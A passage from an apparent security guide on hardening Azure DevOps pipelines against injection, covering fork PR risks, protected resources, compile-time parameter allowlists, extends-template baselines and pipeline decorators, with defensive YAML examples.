\u003ccode\u003etype: boolean\u003c/code\u003e for feature-flag parameters — no value other than \u003ccode\u003etrue\u003c/code\u003e or \u003ccode\u003efalse\u003c/code\u003e is accepted, making injection through a boolean parameter impossible by construction.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eWhen to use which control:\u003c/strong\u003e\u003c/p\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003eSituation\u003c/th\u003e\n          \u003cth\u003eControl\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eExisting YAML variable that should not be overridden\u003c/td\u003e\n          \u003ctd\u003e\u003ccode\u003ereadonly: true\u003c/code\u003e\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eNew parameter that selects from a fixed set (environment, registry)\u003c/td\u003e\n          \u003ctd\u003eTyped parameter with \u003ccode\u003evalues:\u003c/code\u003e\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eValue must be user-controlled but safe to pass to a script\u003c/td\u003e\n          \u003ctd\u003e\u003ccode\u003eenv:\u003c/code\u003e block pattern\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eProduction-influencing value that should never be user-controlled\u003c/td\u003e\n          \u003ctd\u003e\u003ccode\u003ereadonly: true\u003c/code\u003e + \u003ccode\u003eenv:\u003c/code\u003e block\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003chr\u003e\n\u003ch2 id=\"injection-vector-3--fork-pr-pipelines\"\u003eInjection Vector 3 — Fork PR Pipelines\u003c/h2\u003e\n\u003ch3 id=\"the-fork-threat-surface\"\u003eThe Fork Threat Surface\u003c/h3\u003e\n\u003cp\u003eWhen a pipeline is triggered by a PR from a fork repository, the fork controls the branch. If the pipeline loads YAML from the PR branch (the default for PR-triggered pipelines), the fork author can modify the pipeline YAML itself — not just the variable values. This elevates the threat from data injection to full pipeline compromise.\u003c/p\u003e\n\u003cp\u003eBy default, Azure DevOps runs fork PR pipelines with a restricted token and without access to protected resources (environments, service connections, variable groups, agent pools, and secure files marked as protected). This is the \u0026ldquo;safe fork\u0026rdquo; configuration. If the \u0026ldquo;safe fork\u0026rdquo; settings are relaxed, or if the pipeline uses non-protected resources, a fork PR pipeline has the same credential access as a mainline pipeline run.\u003c/p\u003e\n\u003ch3 id=\"protected-resources\"\u003eProtected Resources\u003c/h3\u003e\n\u003cp\u003eMark service connections, variable groups, agent pools, environments, and secure files as \u0026ldquo;protected\u0026rdquo; — protected resources require an approval before a pipeline that does not come from an authorized branch can use them.\u003c/p\u003e\n\u003cp\u003eTo mark a service connection as protected:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eNavigate to \u003cstrong\u003eProject Settings\u003c/strong\u003e → \u003cstrong\u003eService Connections\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003eOpen the service connection → \u003cstrong\u003eSecurity\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003eEnable \u003cstrong\u003e\u0026ldquo;Grant access permission to all pipelines\u0026rdquo;\u003c/strong\u003e = \u003cstrong\u003eOff\u003c/strong\u003e (restrict access)\u003c/li\u003e\n\u003cli\u003eSet \u003cstrong\u003e\u0026ldquo;Protected resource\u0026rdquo;\u003c/strong\u003e = \u003cstrong\u003eOn\u003c/strong\u003e\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003eWhen a fork PR pipeline requests a protected service connection, a pipeline reviewer sees an approval prompt before the job starts. The fork author cannot proceed past that gate without human review.\u003c/p\u003e\n\u003cp\u003eAll service connections that access production systems should be protected resources:\u003c/p\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003eResource Type\u003c/th\u003e\n          \u003cth\u003eProtect These\u003c/th\u003e\n          \u003cth\u003eLeave Unprotected\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eService connections\u003c/td\u003e\n          \u003ctd\u003eProduction registries, production environments, key vaults, prod subscriptions\u003c/td\u003e\n          \u003ctd\u003eDev/test Azure subscriptions with no sensitive data\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eVariable groups\u003c/td\u003e\n          \u003ctd\u003eAny group containing secrets or production configuration\u003c/td\u003e\n          \u003ctd\u003eNon-sensitive build configuration\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eEnvironments\u003c/td\u003e\n          \u003ctd\u003eProduction, staging-with-approvals\u003c/td\u003e\n          \u003ctd\u003eDev environments with no real credentials\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003eAgent pools\u003c/td\u003e\n          \u003ctd\u003eSelf-hosted pools with production network access\u003c/td\u003e\n          \u003ctd\u003eMicrosoft-hosted pools\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch3 id=\"yaml-from-protected-branches\"\u003eYAML from Protected Branches\u003c/h3\u003e\n\u003cp\u003eConfigure the pipeline to load YAML from a protected branch rather than from the PR branch. When YAML comes from the protected branch, the fork author can only modify application code — the pipeline logic itself stays under the control of the protected branch owners.\u003c/p\u003e\n\u003cp\u003eTo configure this in Azure DevOps:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eNavigate to the pipeline → \u003cstrong\u003eEdit\u003c/strong\u003e → \u003cstrong\u003e\u0026hellip;\u003c/strong\u003e (three dots) → \u003cstrong\u003eTriggers\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003eUnder \u003cstrong\u003ePull request validation\u003c/strong\u003e, enable \u003cstrong\u003e\u0026ldquo;Require a team member\u0026rsquo;s comment before building a pull request\u0026rdquo;\u003c/strong\u003e for forks\u003c/li\u003e\n\u003cli\u003eUnder the branch policy for the protected branch (Repos → Branches → Branch policies), add a Build Validation rule and set \u003cstrong\u003e\u0026ldquo;Path filter\u0026rdquo;\u003c/strong\u003e to include \u003ccode\u003eazure-pipelines.yml\u003c/code\u003e — this ensures pipeline YAML changes require code review\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003eThis setting does not prevent all injection — branch names and PR metadata are still attacker-controlled — but it eliminates the class of attacks where the fork modifies the pipeline definition to bypass security controls entirely.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"defensive-patterns--from-component-to-organization\"\u003eDefensive Patterns — From Component to Organization\u003c/h2\u003e\n\u003ch3 id=\"compile-time-parameter-validation-with--if-\"\u003eCompile-Time Parameter Validation with \u003ccode\u003e${{ if }}\u003c/code\u003e\u003c/h3\u003e\n\u003cp\u003eA \u003ccode\u003evalues:\u003c/code\u003e constraint on a parameter is the primary gate. A compile-time \u003ccode\u003e${{ if }}\u003c/code\u003e validation block provides defense-in-depth for templates that receive parameters from other templates, where the outer caller\u0026rsquo;s \u003ccode\u003evalues:\u003c/code\u003e constraint may not apply:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# deploy-steps.yml — two-gate validation: values constraint + compile-time check\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eenvironment\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003estring\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003evalues:           # gate 1\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eparse-time allowlist (applies when called directly)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#ae81ff\"\u003edev\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#ae81ff\"\u003estaging\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#ae81ff\"\u003eprod\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#75715e\"\u003e# Gate 2: compile-time validation (applies even when called from another template)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#ae81ff\"\u003e${{ if not(containsValue(array(\u0026#39;dev\u0026#39;, \u0026#39;staging\u0026#39;, \u0026#39;prod\u0026#39;), parameters.environment)) }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eexit 1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;SECURITY: Invalid environment \u0026#39;${{ parameters.environment }}\u0026#39; rejected\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ebash\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ekubectl config use-context \u0026#34;$DEPLOY_ENV\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Set deployment context\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003eenv\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003eDEPLOY_ENV\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e${{ parameters.environment }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe \u003ccode\u003econtainsValue()\u003c/code\u003e function checks membership in an explicit array. If the value is not in the array, the validation step is injected and the pipeline fails immediately with a display name that includes the rejected value — making the audit trail clear.\u003c/p\u003e\n\u003cp\u003eLog the invalid value in the failing step\u0026rsquo;s display name rather than in the script body. Display names appear in the pipeline timeline without requiring the step to execute, so auditors can see the rejected value even if the step is never reached.\u003c/p\u003e\n\u003ch3 id=\"extends-templates-for-organization-wide-baselines\"\u003e\u003ccode\u003eextends\u003c/code\u003e Templates for Organization-Wide Baselines\u003c/h3\u003e\n\u003cp\u003eAn \u003ccode\u003eextends\u003c/code\u003e template wraps the entire pipeline. Any pipeline that declares \u003ccode\u003eextends: template: security-baseline.yml@templates\u003c/code\u003e runs all of its stages inside the baseline\u0026rsquo;s control. The baseline can enforce mandatory pre-steps, post-steps, and step type restrictions.\u003c/p\u003e\n\u003cp\u003eThe pipeline file:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# azure-pipelines.yml — all stages must extend the security baseline\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eextends\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003etemplate\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esecurity/baseline.yml@templates\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003estages\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#f92672\"\u003estage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eBuild\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Build and Test\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          - \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eBuildApp\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003epool\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003evmImage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eubuntu-latest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edotnet build --configuration Release\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Build\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edotnet test --no-build\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e                \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Test\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe baseline template:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# security/baseline.yml — mandatory security envelope\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003estages\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003estageList\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edefault\u003c/span\u003e: []\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003estages\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#75715e\"\u003e# Pre-stage: runs before any caller stages\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003estage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eSecurityScan\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Security Pre-Scan\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eCredentialScan\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003epool\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003evmImage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eubuntu-latest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          - \u003cspan style=\"color:#f92672\"\u003etask\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eMicrosoftSecurityDevOps@1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Scan for secrets and vulnerabilities\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003einputs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003ecategories\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;secrets,code\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#75715e\"\u003e# Caller stages: injected between pre and post\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#ae81ff\"\u003e${{ each stage in parameters.stages }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#ae81ff\"\u003e${{ stage }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#75715e\"\u003e# Post-stage: always runs, even if a caller stage fails (condition: always())\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003estage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eAuditLog\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Audit Log\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003econdition\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ealways()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eWriteAuditEntry\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003epool\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003evmImage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eubuntu-latest\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          - \u003cspan style=\"color:#f92672\"\u003ebash\u003c/span\u003e: |\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e              echo \u0026#34;Pipeline: $(Build.DefinitionName)\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e              echo \u0026#34;Build ID: $(Build.BuildId)\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e              echo \u0026#34;Triggered by: $(Build.RequestedFor)\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e              echo \u0026#34;Branch: $BRANCH_NAME\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e              echo \u0026#34;Result: $(Agent.JobStatus)\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Write audit entry\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003eenv\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e              \u003cspan style=\"color:#f92672\"\u003eBRANCH_NAME\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e$(Build.SourceBranchName)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eTo make the baseline mandatory, add a \u0026ldquo;Required pipeline template\u0026rdquo; policy in Azure DevOps:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003eProject Settings\u003c/strong\u003e → \u003cstrong\u003ePipelines\u003c/strong\u003e → \u003cstrong\u003eSettings\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003eEnable \u003cstrong\u003e\u0026ldquo;Require pipeline YAML to extend an approved template\u0026rdquo;\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003esecurity/baseline.yml@templates\u003c/code\u003e as the required template\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003eOnce enforced, any pipeline that does not extend the baseline is rejected before it can run. Pipeline authors cannot bypass the security scan by omitting the \u003ccode\u003eextends:\u003c/code\u003e declaration.\u003c/p\u003e\n\u003ch3 id=\"pipeline-decorators-for-non-bypassable-injection\"\u003ePipeline Decorators for Non-Bypassable Injection\u003c/h3\u003e\n\u003cp\u003ePipeline decorators inject steps into every pipeline run in the organization. Unlike \u003ccode\u003eextends\u003c/code\u003e templates, which require the pipeline author to declare \u003ccode\u003eextends:\u003c/code\u003e, decorators apply automatically — pipeline authors cannot opt out by modifying their pipeline YAML.\u003c/p\u003e\n\u003cp\u003eA decorator is authored as an Azure DevOps extension. It defines pre-job and post-job steps that the agent injects around every job, regardless of the pipeline\u0026rsquo;s content:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# decorator manifest (vss-extension.json contribution target)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# This YAML is injected before every job in the organization\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003etask\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eMicrosoftSecurityDevOps@1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;[Decorator] Secret scan\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003econdition\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ealways()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003einputs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan 